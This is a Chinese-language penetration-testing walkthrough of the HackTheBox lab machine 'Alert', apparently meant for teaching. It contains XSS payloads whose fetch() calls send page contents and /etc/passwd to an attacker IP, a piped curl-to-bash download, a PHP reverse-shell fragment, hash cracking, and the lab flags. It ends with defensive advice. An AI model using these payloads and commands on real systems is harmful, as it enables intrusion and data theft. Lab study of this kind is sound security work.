[Meachines] [Easy] Alert XSS-Fetch网页源码提取+CSRF+AlertShot-htb+Apache2 .htpasswd破解+文件权限配置不当权限提升
字数 1029 2025-08-22 12:23:41
Alert.htb 渗透测试教学文档
1. 信息收集阶段
1.1 初始扫描
使用Nmap进行初始端口扫描:
nmap -p- 10.10.11.44 --min-rate 1000 -sC -sV
扫描结果:
- 22/tcp: OpenSSH 8.2p1 Ubuntu
- 80/tcp: Apache httpd 2.4.41 (Ubuntu)
- 12227/tcp: filtered (未知服务)
1.2 主机名解析
将目标主机名添加到本地hosts文件:
echo '10.10.11.44 alert.htb' >> /etc/hosts
2. Web应用渗透
2.1 XSS漏洞利用
发现网站存在XSS漏洞,可以构造payload获取管理页面内容:
<script>fetch("http://alert.htb/index.php?page=contact").then(res=>res.text()).then(data=>fetch("http://10.10.16.6?file="+encodeURIComponent(data)));</script>
提交方式:
email=1%40gmail.com&message=http%3A%2F%2Falert.htb%2Fvisualizer.php%3Flink_share%3D678a3462ccda42.72581073.md
2.2 文件包含测试
尝试LFI漏洞:
<script>fetch("http://alert.htb/messages.php?file=etc/passwd").then(res=>res.text()).then(data=>fetch("http://10.10.16.6?file="+encodeURIComponent(data)));</script>
2.3 自动化工具使用
使用AlertShot-htb工具自动化测试:
python alts.py
输入反向IP和端口后,可以获取系统文件如/etc/passwd
3. 凭证获取与破解
3.1 获取.htpasswd文件
使用ffuf进行子域名枚举:
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://alert.htb -H "Host:FUZZ.alert.htb" -ac
发现statistics子域名后获取.htpasswd文件:
/var/www/statistics.alert.htb/.htpasswd
3.2 破解哈希
使用John the Ripper破解MD5加密的哈希:
john --wordlist=/usr/share/wordlists/rockyou.txt --format=md5crypt-long hash
4. 初始访问
使用获取的凭证通过SSH登录:
ssh albert@10.10.11.44
获取user flag:
50e1a4a0b90d1af9ad0d813d11fc1203
5. 权限提升
5.1 信息收集
运行linpeas.sh进行本地信息收集:
curl http://10.10.16.6/linpeas.sh|bash
发现:
- 当前用户属于management组
- /opt/website-monitor目录可写
5.2 利用监控服务
检查运行进程:
ps -aux
发现website-monitor服务以root权限运行,且会读取config目录下的文件
5.3 创建反向shell
上传PHP反向shell脚本(rev.php)到/opt/website-monitor/config目录:
wget http://10.10.16.6/rev.php
PHP反向shell内容:
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.16.6'; // 攻击者IP
$port = 10011; // 监听端口
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
// ... (完整反向shell代码)
5.4 触发反向shell
通过之前的提交页面触发载荷:
email=1%40gmail.com&message=http%3a//127.0.0.1%3a8080/config/rev.php
5.5 获取root权限
成功获取root shell后,读取root flag:
b5f961158dcd6099a11f0947183ccc4b
6. 关键总结
- 通过XSS漏洞获取管理界面访问权限
- 利用LFI漏洞读取系统文件
- 通过子域名枚举发现隐藏的管理界面
- 破解.htpasswd文件获取SSH凭证
- 利用website-monitor服务的配置不当实现权限提升
- 通过上传PHP反向shell获取root权限
7. 防御建议
- 对用户输入进行严格过滤,防止XSS和LFI漏洞
- 避免在Web目录存放敏感文件如.htpasswd
- 使用强密码并定期更换
- 限制服务运行权限,避免以root运行非必要服务
- 对配置文件目录设置严格的权限控制